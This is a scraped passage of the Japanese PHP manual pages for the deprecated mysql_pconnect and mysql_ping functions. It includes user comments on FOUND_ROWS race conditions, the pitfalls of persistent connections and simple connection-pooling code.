$Handle = mysql_connect( "localhost" , "root" , "" );
mysql_select_db( "lls" );

if( isset( $_GET[ 'Sleep' ] ) ) {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );
} else {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );
}

if( isset( $_GET[ 'Sleep' ] ) ) {
    sleep( 10 ); // Simulate another HTTP request coming in.
    $Result = mysql_query( "SELECT FOUND_ROWS( )" );
    print_r( mysql_fetch_array( $Result ) );
}

mysql_close( );

?>

Set the connection and query information for something that matches your environment.

Run the script once with the Sleep query string and once again without it. Its important to run them both at the same time. Use Apache ab or something similar, or even easier, just open two browser tabs. For example:

http://localhost/Script.php?Sleep=10
http://localhost/Script.php

If a race condition existed, the results of the first instance of the script would equal the results of the second instance of the script.

For example, the second instance of the script will execute the following SQL query:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );

?>

This happens while the first instance of the script is sleeping. If a race condition existed, when the first instance of the script wakes up, the result of the FOUND_ROWS( ) it executes should be the number of rows in the SQL query the second instance of the script executed.

But when you run them, this is not the case. The first instance of the script returns the number of rows of its OWN query, which is:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );

?>

So it turns out NO race condition exists, and every solution presented to combat this "issue" are pretty much not needed.

Good Luck,
gtaylor at sonic dot net 10-Sep-2008 12:18
In preventing the race condition for the SQL_CALC_FOUND_ROWS and FOUND_ROWS() operations, it can become complicated and somewhat kludgy to include the FOUND_ROWS() result in the actual result set, especially for complex queries and/or result ordering. The query gets more complex, you may have trouble isolating/excluding the FOUND_ROWS() result, and mysql_num_rows() will return the number of actual results + 1, all of which makes your code messier and harder to read. However, the race condition is real and must be dealt with.

A alternative and cleaner method is to explicitly lock the table using a WRITE lock (preventing other processes from reading/writing to the table). The downsides I can see are a performance hit, and your mysql user must have lock permissions.

<?php
    // excuse the use of mysqli instead of mysql

    $mysqli->query("LOCK TABLE t WRITE");
    $results = $mysqli->query("SELECT id FROM t LIMIT 0,10");
    $totalNumResults = array_pop($mysqli->query("SELECT FOUND_ROWS()")->fetch_row());
    $mysqli->query("UNLOCK TABLES");
?>

Now you may iterate through the results just like any other result set.
Tom Fejfar 05-Jun-2008 01:56
Improvement to chrisdberry82 at gmail dot com's code:

<?php
$sql = "
SELECT SQL_CALC_FOUND_ROWS
  '0', z.id
FROM
  zoom AS z
LIMIT
  0,6
UNION
  SELECT
    '1', FOUND_ROWS()
ORDER BY `0` DESC , RAND()";
?>

You can see, that you can even ORDER the final result anyway you like ;)
Then you can fetch the result like this:
<?php
$res = mysql_query($sql);
$count = mysql_fetch_assoc($res);
while($row = mysql_fetch_assoc($res)){
 unset($row["0"]); //get rid of the "sorting col"
 print_r($row); //or whatever ;)
}
echo $count["id"]; // the total number of rows
?>

And you got rid of the lousy IFs ;)
timo 27-May-2008 09:03
<?
$strQuery="SELECT * FROM `tabel`";
$strResult = mysql_query($strQuery);
$Aantalvelden = mysql_num_fields($strResult);
$Aantalrijen=mysql_num_rows($strResult);

echo "<table border='1'><tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strVeldnaam = mysql_field_name($strResult,$ikolom);
echo "<td>$strVeldnaam</td>" ;
}
echo "</tr>";

for($ir=0;$irij<$Aantalrijen;$irij++){
echo "<tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strKolomwaarde = mysql_result($strResult,$irij,$ikolom);
echo "<td>$strKolomwaarde</td>";
}
}
echo "</table>";
?>
chrisdberry82 at gmail dot com 25-May-2008 10:46
The following code can wrap it all up in a single query so you don't have to worry about multiple client requests:

$stmtMain = $mysqli->prepare("SELECT SQL_CALC_FOUND_ROWS jobid,title FROM tbljobs
    LIMIT ?, ? UNION SELECT FOUND_ROWS(),'!!IgnoreCount!!';")

Then iterate through the results with something like:

while ($stmtMain->fetch() && $strResultTitle !="!!IgnoreCount!!") {
//do stuff
}
($strResultSector == '!!IgnoreCount!!')? $intTotal = $intResultCount : 1;
deaggi at deaggi dot net 20-Aug-2007 12:45
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>

johannes
webmaster dasourcerer net 20-Aug-2007 05:42
In one of my applications, I had to let an object know wether it exists in the database or not. I found a cheap solution w/o the usage of mysql_num_rows():

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
Typer85 at gmail dot com 16-Jul-2007 11:44
A note on the following usage; that suggest to use several MySQL Functions to get the number of Table Records.

You may be familiar with following:

<?php

$sqlQuery = 'Select SQL_CALC_FOUND_ROWS `MyField` From `MyTable` Limit 1;';

$sqlQuery_1 = 'Select FOUND_ROWS( );';

?>

I omitted the actual connection to MySQL and the execution of the query, but you get the idea.

I did some tests and on a fairly high traffic web site, one that executes several queries quite often and found that using this combination of MySQL Functions can actually result in wrong results.

For example, assume I have two queries to get the number of Table Records in two different Tables. So in essence, we are executing 4 queries ( 2 queries for each Table ).

If two different requests come in through PHP, your going to run into problems. Note than when I mean request, I mean two different clients requesting your PHP page.

---------------
Request 1:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 1

---------------
Request 2:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 2

---------------
Request 1:
---------------

Execute: Select FOUND_ROWS( )

At this point, you see the race condition that occurred. While Request 1 was being executed, Request 2 came in.

At this point Request 1 will return the number of Table Records in Table 2 and not Table 1 as expected!

Why? Because MySQL does not differ between requests. Each query is in a queue waiting its turn. As soon as its turn comes in it will be executed my MySQL.

The MySQL Function Select FOUND_ROWS( ) will return the result of the last SQL_CALC_FOUND_ROWS!

Keep in mind.
Jonas 08-Dec-2005 01:55
A small tip concerning SQL_CALC_FOUND_ROWS and FOUND_ROWS()

Remember that you can us "AS" when working with mysql_fetch_assoc.

$sql="
    SELECT
        FOUND_ROWS() AS `found_rows`;
";
$result = mysql_query($sql);
$myrow = mysql_fetch_assoc($result);
$row_count = $myrow['found_rows'];

echo $row_count;
simon_nuttall at hotmail dot com 12-Nov-2005 07:36
Object oriented version of wil1488 at gmail dot com's comment for counting table rows:
<?php
$result = $mysqli->query("SELECT COUNT(*) as TOTALFOUND from table");
$row_array=$result->fetch_array(MYSQLI_ASSOC);
print($row_array['TOTALFOUND']);
?>
wil1488 at gmail dot com 31-May-2005 07:53
To use SQL COUNT function, without select the source...

see an example:

<?
//MAKE THE CONNECTION WITH DATABASE

$my_table = mysql_query("SELECT COUNT(*) as TOTALFOUND from table", $link); //EXECUTE SQL CODE
Note: will return the total on TOTALFOUND

print (mysql_result($my_table,0,"TOTALFOUND")); //use the field camp to get the total from your SQL query!
?>

Thanks, good luck.
dzver at abv dot bg 20-Feb-2005 05:00
It is faster to run second query "select count(...) from ... ", than adding SQL_CALC_FOUND_ROWS to your first query, and then using select FOUND_ROWS() + mysql_num_rows().
29-Jan-2005 05:18
In response to oran at trifeed dot com:

You are only experiencing this behaviour because you have not given your FOUND_ROWS() result an alias:

$qry = mysql_query ( 'SELECT FOUND_ROWS() AS total' );
$rst = mysql_fetch_array ( $qry, MYSQL_ASSOC );
echo $rst['total'];

Sean :)
oran at trifeed dot com 15-Dec-2004 09:06
For me

SELECT SQL_CALC_FOUND_ROWS together with
SELECT FOUND_ROWS()

Only worked with the following syntax:
$result = @mysql_query($query);
$resultTotal = @mysql_query("SELECT FOUND_ROWS()");
$res=    mysql_fetch_array($resultTotal);
echo $res['FOUND_ROWS()'];

hope it helped

oran
http://www.trifeed.com
pjoe444 at yahoo dot com 18-Nov-2004 03:38
Re my last entry:

This seems the best workaround to get an 'ordinary' loop going, with possibility of altering output according to row number
(eg laying out a schedule)

$rowno=mysql_num_rows($result);

for ($i=0; $i<mysql_num_rows($result); $i++) {
$row = mysql_fetch_assoc($result);

print "<div class=\"showing\">";
print "<b>".$row['timeon']."-".$row['timeoff']."</b> ".$row['event']."<br />;
if ($i!=$rowno-1) {
    print "other-html-within-sched-here</div>";
    }
else print "end-last-entry-html-here</div>";
}  //close loop
pjoe444 at yahoo dot com 18-Nov-2004 02:24
A pity there seems no way of getting the CURRENT  row number that's under iteration in a typical loop,
such as:
while ($row = mysql_fetch_assoc($result)) { }

After all there is an array of row arrays, as signified by
mysql_num_rows($result):

Say this gives "40 rows" : it would be useful to know when the iteration is on row 39.

The nearest seems to be "data seek":but it connects directly to a
row number eg (from mysql_data_seek page)

for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
   if (!mysql_data_seek($result, $i)) {
       echo "Cannot seek to row $i: " . mysql_error() . "\n";
       continue;
   }

= it still wouldn't solve knowing what row number you're on in an ordinary loop.

One reason for this situation is the php fetch (fetch-a-single-row) construction, without any reasonable FOR loop possibility with row numbers.

Suggestion:
$Rows[$i] possibility where
$i would be the row number

$Rows[$row[], $row[], $row[].....]
             0            1            2     etc

-- the excellent retrieval WITHIN a row ( $row[$i] ),
while certainly more important,  is not matched by
similar possibilities for rows themselves.

and Count($result) doesnt work of course, $result being a
mere ticket-identifier...

Peter T
sam at liddicott dot com 04-Nov-2004 05:40
Some user comments on this page, and some resources including the FAQ at :

http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12 suggest using count(*) to count the number of rows

This is not a particularly universal solution, and those who read these comments on this page should also be aware that

select count(*) may not give correct results if you are using "group by" or "having" in your query, as count(*) is an agregate function and resets eachtime a group-by column changes.

select sum(..) ... left join .. group by ... having ...

can be an alternative to sub-selects in mysql 3, and such queries cannot have the select fields replaced by count(*) to give good results, it just doesn't work.

Sam
aaronp123 att yahoo dott comm 21-Feb-2003 05:40
I may indeed be the only one ever to encounter this - however if you have a myisam table with one row, and you search with valid table and column name for a result where you might expect 0 rows, you will not get 0, you will get 1, which is the myisam optimised response when a table has 0 or one rows.  Under "5.2.4 How MySQL Optimises WHERE Clauses" it reads:

*Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.

and

*All constant tables are read first, before any other tables in the query. A constant table is:
1) An empty table or a table with 1 row.
2) A table that is used with a WHERE clause on a UNIQUE index, or a PRIMARY KEY, where all index parts are used with constant expressions and the index parts are defined as NOT NULL.

Hopefully this will keep someone from staying up all night with 1146 errors, unless I am completely mistaken in thinking I have this figured out.
tac at smokescreen dot org 13-Jan-2002 11:58
MySQL 4.0 supports a fabulous new feature that allows you to get the number of rows that would have been returned if the query did not have a LIMIT clause.  To use it, you need to add SQL_CALC_FOUND_ROWS to the query, e.g.

$sql = "Select SQL_CALC_FOUND_ROWS * from table where state='CA' limit 50";
$result = mysql_query($sql);

$sql = "Select FOUND_ROWS()";
$count_result = mysql_query($sql);

You now have the total number of rows in table that match the criteria.  This is great for knowing the total number of records when browsing through a list.
philip at cornado dot c()m 06-May-2001 11:37
Regarding SQL count(), see this faq :
* http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12
Note: If you already have a $result, use mysql_num_rows() on it otherwise use SQL count().  Don't SELECT data just for a count.


MySQL サーバーへの持続的な接続をオープンする

  • ≪ mysql_num_rows
  • mysql_ping ≫
  • PHP Manual
  • MySQL 関数
  • MySQL サーバーへの持続的な接続をオープンする

mysql_pconnect

(PHP 4, PHP 5)

mysql_pconnect — MySQL サーバーへの持続的な接続をオープンする

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_connect() にホストプレフィックス p: を指定
  • PDO::__construct() のドライバオプションで PDO::ATTR_PERSISTENT を指定

説明

mysql_pconnect ( string $server = ini_get("mysql.default_host") , string $username = ini_get("mysql.default_user") , string $password = ini_get("mysql.default_password") , int $client_flags = 0 ) : resource

MySQL サーバーとの持続的な接続を確立します。

mysql_pconnect()は、 mysql_connect()とよく似た動作をしますが、 2 つの大きな違いがあります。

1 番目の違いとして、この関数は接続時にまず 同じホスト、ユーザー名、パスワードを有する(持続的)リンクが すでにオープンされていないかどうかを調べます。 それがみつかった場合、新規の接続をオープンする代わりに そのリンクの ID が返されます。

2 番目の違いは、スクリプトの実行が終了しても SQL サーバーとの接続が 閉じられないということです。そのかわりに、将来再利用されるために リンクがオープンされたままとなります（mysql_close() は、mysql_pconnect() によって確立されたリンクを 閉じません）。

このため、この型のリンクは、'持続的(persistent)'であると言われます。

パラメータ

server

MySQL サーバー。"hostname:port" のようにポート番号を 指定することが可能で、localhost では ":/path/to/socket" のようにソケットへのパスを指定することも可能です。

PHP ディレクティブ mysql.default_host が指定されない場合（デフォルト）、 'localhost:3306' が使用されます。

username

ユーザー名。デフォルト値はサーバープロセスの所有ユーザー名です。

password

パスワード。デフォルト値は空のパスワードです。

client_flags

パラメータ client_flags は、 以下の定数の組み合わせです： 128 (LOAD DATA LOCAL の処理を有効にする)、 MYSQL_CLIENT_SSL、 MYSQL_CLIENT_COMPRESS、 MYSQL_CLIENT_IGNORE_SPACE または MYSQL_CLIENT_INTERACTIVE

返り値

成功した場合に MySQL 持続的リンク ID を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
5.5.0 | この関数は E_DEPRECATED エラーを発するようになりました。

注意

注意:

この接続方法は、モジュールバージョンの PHP でのみ使用可能であることに 注意しましょう。詳しい情報は 持続的 データベース接続 を参照ください。

警告

持続的接続を利用する場合、MySQL の同時接続数の制限をこえないように Apache や MySQL の設定を多少変更する必要があるかも知れません。

参考

  • mysql_connect() - MySQL サーバーへの接続をオープンする
  • Persistent Database Connections

User Contributed Notes

m at louislivi dot com 10-Aug-2019 01:51
SMProxy
A MySQL database connection pool based on MySQL protocol and Swoole.
https://github.com/louislivi/SMProxy
shane 04-Jun-2011 12:35
The new mysqlnd library, which replaces the old libmysql, should make disappearing connections a thing of the past. It refreshes the connection (either change_user or ping) before trying to use it. (It also uses less memory, and generally has better performance.) I've only tried it with mysqli, but the native extension also uses it. It's available for PHP >= 5.3, MySQL >= 4.1.
seawyvern at gmail dot com 13-Aug-2010 12:10
(using PHP v5.3.2)
This might help other people who are running into a similar issue. I would occasionally get this error in my apache error log:

PHP Warning:  mysql_pconnect(): MySQL server has gone away

It appears the persistent connection mysql_pconnect() was returning had timed out and mysql_pconnect() didn't detect it. To address this issue I added some code to check for this case using mysql_ping() and request another connection from mysql_pconnect() if this situation occurred. It appears that the combination of the checking for the time out with mysql_ping( ) and re-requesting the connection with mysql_pconnect( ) either caused the original connection to re-connect or forced mysql_pconnect() to recognize that the connection had timed out and request a new one. The documentation for mysql_ping( ) says that it will force a re-connect if it detects a timeout, however comments on the documentation page mention that this feature has been disabled for some time. Anyways here is the code I used, hope it helps:

$dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );

if ( !mysql_ping( $dbConnection ) )
{
   $dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );
}
Tom 28-Dec-2009 05:43
Persistent connections work well for CGI PHP managed by fastCGI, contrary to the suggestion above that they only work for the module version. That's because fastCGI keeps PHP processes running between requests. Persistent connections in this mode are easily made immune to connection limits too, because you can set PHP_FCGI_CHILDREN << mysql's max_connections <<< Apache's MaxClients. This also saves resources.
David 26-Sep-2009 01:45
Right after I upgraded to PHP 5.3 I started getting "MySQL server has gone away" errors on almost every other page request from the apache server. I tried a few ideas that didn't work. Here is the solution: I changed all my mysql_pconnect() statements to mysql_connect(). It fixed the problem. For some reason PHP 5.3 does not like persistent connections.
david at hundsness dot com 11-Sep-2008 10:44
Here's a recap of important reasons NOT to use persistent connections:

* When you lock a table, normally it is unlocked when the connection closes, but since persistent connections do not close, any tables you accidentally leave locked will remain locked, and the only way to unlock them is to wait for the connection to timeout or kill the process. The same locking problem occurs with transactions. (See comments below on 23-Apr-2002 & 12-Jul-2003)

* Normally temporary tables are dropped when the connection closes, but since persistent connections do not close, temporary tables aren't so temporary. If you do not explicitly drop temporary tables when you are done, that table will already exist for a new client reusing the same connection. The same problem occurs with setting session variables. (See comments below on 19-Nov-2004 & 07-Aug-2006)

* If PHP and MySQL are on the same server or local network, the connection time may be negligible, in which case there is no advantage to persistent connections.

* Apache does not work well with persistent connections. When it receives a request from a new client, instead of using one of the available children which already has a persistent connection open, it tends to spawn a new child, which must then open a new database connection. This causes excess processes which are just sleeping, wasting resources, and causing errors when you reach your maximum connections, plus it defeats any benefit of persistent connections. (See comments below on 03-Feb-2004, and the footnote at http://devzone.zend.com/node/view/id/686#fn1)
JM 26-Apr-2008 09:16
If you get an error message which refers to a failure regarding /var/mysql/mysql.sock, try changing your php.ini so that mysql.default_socket=/tmp/mysql.sock
Sabyasachi Ruj 17-Aug-2007 01:00
If you are using mysql_pconnect(), and say the MySQL server has five persistent connection pooled for that client.

Now mysql_pconnect can return any one of them.

So, If you are expecting that mysql_pconnect will return always use the same persistent connection, that is not the case.

So, say you are executing after connecting with mysql_pconnect:

set @aa=6;

And in another page you have again done mysql_pconnect, and executed:

select @aa;

That will not necessarily return '6' as the result!

Because the second mysql_pconnect can take another persistent connection from that server's connection pool.
Nils Meyer nils at weiss-bescheid dot de 07-Aug-2006 06:03
Be careful when setting variables on a persistent mysql connection. Example:
// Set result charset to UTF8
mysql_query("SET SESSION character_set_results = 'UTF8'");

If another script reuses your persistent connection, it will also use the UTF-8 charset. This created a problem with typo3 and TemplaVoila, which reads serialized data from the database. The data is returned as UTF8, but the script expects latin1 and dies with a serialize error ("Template Object could not be unserialized successfully."). This problem is especially tricky because it works on some requests and crashes on others - because the variable is not set on all connections in the persistent connection pool.

A possible solution is to reset variables to their default value afterwards:
$ret = mysql_query("SHOW VARIABLES LIKE 'character_set_results'");
list($foo, $old_charset) = mysql_fetch_assoc($ret);
mysql_query("SET SESSION character_set_results = 'UTF8'");
// do some fancy utf8 stuff
// ..

// revert to old encoding
mysql_query("SET SESSION character_set_results = '$old_charset'");

or simply use mysql_connect(), as previously stated it makes more sense in most enviroments and there are less things to bother with   (like variables, transactions, temporary tables).
3ch0 20-May-2006 02:01
pconnect is preferred when you are using a remote database server on a major web site. mysql in particular stays happier with 1 open connection as opposed to 1000 connections a minute =)
Ron 15-Sep-2005 08:34
Here's a nifty little class which will load balance across multiple replicated MySQL server instances, using persistent connections, automatically removing failed MySQL servers from the pool.

You would ONLY use this for queries, never inserts/updates/deletes, UNLESS you had a multi-master situation where updates to any database serverautomatically replicate to the other servers (I don't know whether that's possible with MySQL).

Using this class, you get a connection to a MySQL server like this:
    $con = MySQLConnectionFactory::create();

Here is the class (you'll need to customize the $SERVERS array for your configuration -- note that you would probably use the same username, password and database for all of the servers, just changing the host name, but you're not forced to use the same ones):

<?php
class MySQLConnectionFactory {
    static $SERVERS = array(
    array(
        'host' => 'myHost1',
        'username' => 'myUsername1',
        'password' => 'myPassword1',
        'database' => 'myDatabase1'),
    array(
        'host' => 'myHost2',
        'username' => 'myUsername1',
        'password' => 'myPassword2',
        'database' => 'myDatabase2')
    );

    public static function create() {
    // Figure out which connections are open, automatically opening any connections
    // which are failed or not yet opened but can be (re)established.
    $cons = array();
    for ($i = 0, $n = count(MySQLConnectionFactory::$SERVERS); $i < $n; $i++) {
        $server = MySQLConnectionFactory::$SERVERS[$i];
        $con = mysql_pconnect($server['host'], $server['username'], $server['password']);
        if (!($con === false)) {
        if (mysql_select_db($server['database'], $con) === false) {
            echo('Could not select database: ' . mysql_error());
            continue;
        }
        $cons[] = $con;
        }
    }
    // If no servers are responding, throw an exception.
    if (count($cons) == 0) {
        throw new Exception
        ('Unable to connect to any database servers - last error: ' . mysql_error());
    }
    // Pick a random connection from the list of live connections.
    $serverIdx = rand(0, count($cons)-1);
    $con = $cons[$serverIdx];
    // Return the connection.
    return $con;
    }
}
?>
tomek at 3kropki dot pl 29-Dec-2004 09:36
Instead of use wait_timeout, you can set interactive_timeout to short period of time (for ex. 20 sec.) this is a lot better solution in apache + mysql environment than wait_timeout.

To know more about interactive_timeout - look to mysql documentation.
federico dot chiesa at tiscali dot it 19-Nov-2004 05:08
Be very careful when using persistent connections and temporary tables on MySQL: in MySQL, temporary tables are visible only to the currenct connection, but if you have a persistent connection the temporary tables will supposedly be visible to everybody sharing the same persistent connection. This can lead to major trouble. I suggest to use totally random temporary table names when using persistent connections to avoid major problems.
markunderscoreconnollyatacmdotorg 27-Oct-2004 10:59
I would like to comment on the post from dfischer at qualcomm dot com that proposes spanning transactions over multiple application invocations, in case someone is bold enough to try it.

I'll assume the table types being used are one of those that support transactions, such as InnoDB or BerkeleyDB.

First, there is a question of whether this would work at all.  To work at all, the transaction context would have to be preserved across all the invocations of the php code through the web server.  Reading the description of http://www.php.net/manual/en/features.persistent-connections.php maintaining transaction context would be at best a coincidence.  It would be interesting to find out that this does work on occasion and to understand the ramifications of such behavior.  If I happened to get your connection and my action was a cancel, your updates might be gone.

Second, if such a thing did work (occassionally or always), there would be performance implications as the underlying database managed transactions that were pretty much open-ended.  A few long-running transactions would likely eat up many resources in a short time and the likelihood of concurrency conflicts could rise.  If the mysql_pconnect behavior is to keep transaction open at the end of php processing, then it would probably be better to not define transactions when using mysql_pconnect. And, transactions that were never closed by code (user went out to lunch and got hit by a bus) could hold resources for quite some time (maybe until after rehab).

So, even if such a scheme COULD work, it is not a good idea.  The transaction should be committed or rolled back at the end of the user request processing.  This allows the DBMS to properly manage resource ultilization and keeps bad things from happening to good data.  If mysql_pconnect does not coordinate well with the transaction component of the database engine to always end a transaction at the end of processing a request, then mysql_pconnect should never be used where begin transaction is used.
dfischer at qualcomm dot com 06-Jul-2004 05:57
You also may consider using pconnect if you have transactions that span multiple pages. For example, in applications that I develop, I start a transaction on the moment I query selecting the data that the user plans on editing. I then commit the transactions after the user hits the submit button and the data is committed.

I cannot simply use mysql_connect as then the connection would be terminated at the end of the page and if I did not commit my transaction, it is automatically rolled back.
matt *at* roughest *dot* net 10-Mar-2004 08:18
Be very careful when using persistent connections on a machine running multiple mysql servers. You must specify the correct socket path, otherwise PHP will reuse connections irregardless of what server they are connected to. That is, it will see an open connection with matching parameters and use it, even if the connection is actually for a different server.
mightye (at) mightye (dot) org 03-Feb-2004 04:19
Normally you do NOT want to use mysql_pconnect.  This function is designed for environments which have a high overhead to connecting to the database.  In a typical MySQL / Apache / PHP environment, Apache will create many child processes which lie in idle waiting for a web request to be assigned to them.  Each of these child processes will open and hold its own MySQL connection.  So if you have a MySQL server which has a limit of 50 connections, but Apache keeps more than 50 child processes running, each of these child processes can hold a connection to your MySQL server, even while they are idle (idle httpd child processes don't lend their MySQL connection to other httpd children, they hold their own).  So even if you only have a few pages which actually connect to MySQL on a busy site, you can run out of connections, with all of them not actually being used.

In general use mysql_connect() for connecting to MySQL unless that connection takes a long time to establish.
aaryal at foresightint dot com 15-Jan-2004 03:25
don't use pconnect in a situation with MySQL running on one host but on multiple ports (a multiple database configuration). the connection pooling algo in php apparently only keys off of the host, username and password but not the port. therefore, if you use the same host, username and password but a different port, you might get a connection that is connected to a different port than the one you asked for.
spam at vrana dot cz 04-Nov-2003 10:53
Be warned if you use different parameters for mysql_pconnect() in different scripts on server: PHP can create single persistent connection for every set of parameters in each process up to mysql.max_persistent (PHP directive) per process. So even if you have MaxClients Apache directive set lesser then max_connections MySQL directive, you can easily get Too many connections MySQL error.

If mysql.max_persistent is set to other value than -1 (unlimited, default value), connections over this limit are silently denied, so use it with care.

Solution: For servers with potentially unlimited set of connection parameters, forbid persistent connection with mysql.allow_persistent=Off.
script_this at yahoo dot com 05-Aug-2003 11:41
in response to uthayakutty76 at yahoo dot com's
30-Jun-2003 12:31 post:

-----------------------------------------------------------
...The problem is that the connection to the MySQL
servers is interrupted very quickly or there is not
connection at all. We found out that when using the
domain of the server instead of "localhost" problems
occur.....
-----------------------------------------------------------

try setting the wait_timeout variable in my.cnf for
mysql very high so the connections aren't ever idle for
that amount of time.  ridiculous really, but it works for
localhost or remote database server where as the
localhost solution only works if the database is local i
think.
pulstar at mail dot com 18-Jul-2003 11:13
I had some problems when connecting to a remote server with mysql_pconnect and using the flag MYSQL_CLIENT_COMPRESS. Sometimes it connect, but many times it give me the error:
Warning: mysql_pconnect(): Unknown database 'XXXXX'

If you have the same problem, try using mysql_connect instead. It worked fine for me. The script will take a long to reconnect each time the page is reloaded, but it will transfer data with compression. This is a little more secure than to send plain data over the Internet and also more faster when transmiting large amount of data.
rochlin at centralpets dot com 12-Jul-2003 08:27
Do not use transactions (e.g. with InnoDB MySQL tables) with persistent connections.  If your script stops or exits for any reason, your transaction will be left open and your locks will be left on.  You have to reset MySQL to release them (so far as I can figure).   They won't ROLLBACK automatically on error, like they ought to.   When you restart the script, you'll get a new connection, so you can't rollback or commit for the previous script.   Any script with a start transaction, rollback, or commit SQL statement should use regular (not persistent) connections.   Seems like PHP ought to automatically issue a ROLLBACK on any open transactions when a script exits (error or otherwise) without a COMMIT.  ZEND's site has a brief blurb on this.  It's OK to mix/match so you use a persistent connection for the read stuff, but open a new regular connection conditionally (if you have to update, which is usually less often).
rudenko at id.com.ua 08-Apr-2003 07:15
You can solve problem with persistent connections setting directive mysql.allow_persistent = Off in php configuration file. The users whitch will try to create persistant connetion /mysql_pconnect()/ will be connected to db
with nonpersistant connection /mysql_connect()/

For more info see user notes at section Persistant Connections. http://www.php.net/manual/en/features.persistent-connections.php
--
http://www.id.com.ua Ilya Rudenko
amn -at- frognet.net 11-Mar-2003 10:45
Be careful using mysql_pconnect. If you are hosting on an ISP, they may frown upon you using multiple persistant mysql connections as this consumes resources for a longer period of time. If your script crashes, your connection can stay open for long periods of time. If there is a loop involved, you could accidently eat up all the available connections. That might be considered abuse by an ISP and you could get in trouble. Try using mysql_connect first instead. 90% of the time, a non-persistant mysql_connect call will do the trick just fine.
fate_amendable_to_changeNOSPAM at yahoo dot com 30-Oct-2002 03:58
To tell mysql_pconnect to connect to mysql on a port other than the default use a colon - eg

mysql_pconnect("127.0.0.1:4444", "user", "pass")

would connect to localhost on port 4444

(useful for ssh tunneling etc)
david at acz dot org 23-Apr-2002 11:41
You need to be VERY careful when using LOCK TABLES with persistent connections.  If the script terminates before the UNLOCK TABLES is executed, the the table(s) will stay locked, and very likely hang future scripts.  This is noted in a bug report, but is still not reflected in the documentation: http://bugs.php.net/bug.php?id=7634
bartek at bulzak dot com 26-Feb-2002 02:37
PHP 4.1.1 running with Apache under Linux doesn't seem to be doing all necessary flushing when handling persistant mysql connections. Try it out for yourself. Create a temporary table in a pconnect session, add rows (non unique), select/display and drop the table. Now reload your script multiple times, you will see that your results are not consistent, even though you are creating a new table everytime and dropping it..

I had my share of problems with pconnect and suggest you don't use it unless absolutely necessary. In that case make sure you test your results for consistency, especially when your queries involve temporary tables or mysql session variables.

Bartek Bulzak
sasha at mysql dot com 27-Apr-2000 09:43
If you need to close idle persistent connections, set a low wait_timeout in MySQL


サーバーとの接続状況を調べ、接続されていない場合は再接続する

  • ≪ mysql_pconnect
  • mysql_query ≫
  • PHP Manual
  • MySQL 関数
  • サーバーとの接続状況を調べ、接続されていない場合は再接続する

mysql_ping

(PHP 4 >= 4.3.0, PHP 5)

mysql_ping — サーバーとの接続状況を調べ、接続されていない場合は再接続する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_ping()

説明

mysql_ping ( resource $link_identifier = NULL ) : bool

サーバーとの接続が有効かどうかを調べます。 もし接続が切れていた場合、自動的に再接続が試みられます。 この関数は、アイドル期間が長いスクリプトで利用し、 サーバーが接続を切断したかどうかを確認するために用いられます。

注意:

MySQL 5.0.3 以降、自動再接続機能は使えなくなりました。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

MySQL サーバーとの接続が有効な場合に true そうでない場合に false を返します。

例

例1 mysql_ping() の例

<?php
set_time_limit(0);

$conn = mysql_connect('localhost', 'mysqluser', 'mypass');
$db   = mysql_select_db('mydb');

/* このクエリは非常に時間がかかるものと仮定する */
$result = mysql_query($sql);
if (!$result) {
    echo 'Query #1 failed, exiting.';
    exit;
}

/* 接続が有効かどうかを確かめる。切断されていたら再接続する */
if (!mysql_ping($conn)) {
    echo 'Lost connection, exiting after query #1';
    exit;
}
mysql_free_result($result);

/* 接続が有効であることが確かめられたので、別のクエリを実行する */
$result2 = mysql_query($sql2);
?>

参考

  • mysql_thread_id() - カレントのスレッド ID を返す
  • mysql_list_processes() - MySQL プロセスのリストを得る

User Contributed Notes

Doug 19-Apr-2010 08:24
This function *does not* attempt to reconnect at this time.  It only tells you whether or not you currently *are* connected.

To actually reconnect, you will have to implement this yourself in a wrapper class.
alext at marketdream dot com dot mx 29-Sep-2009 08:28
mysql_ping() is really helpful when you have this annoying error:

MYSQL Error 2006 Server has gone away

For CI users:
In 1.7.2 version of codeigniter, there is a function

$this->db->reconnect()

that uses mysql_ping() to reestablish the timed out connection.

This function is specially useful when developing social media sites that uses hundreds of connections to the db such asinserting or selecting.
luky37 03-Feb-2009 11:15
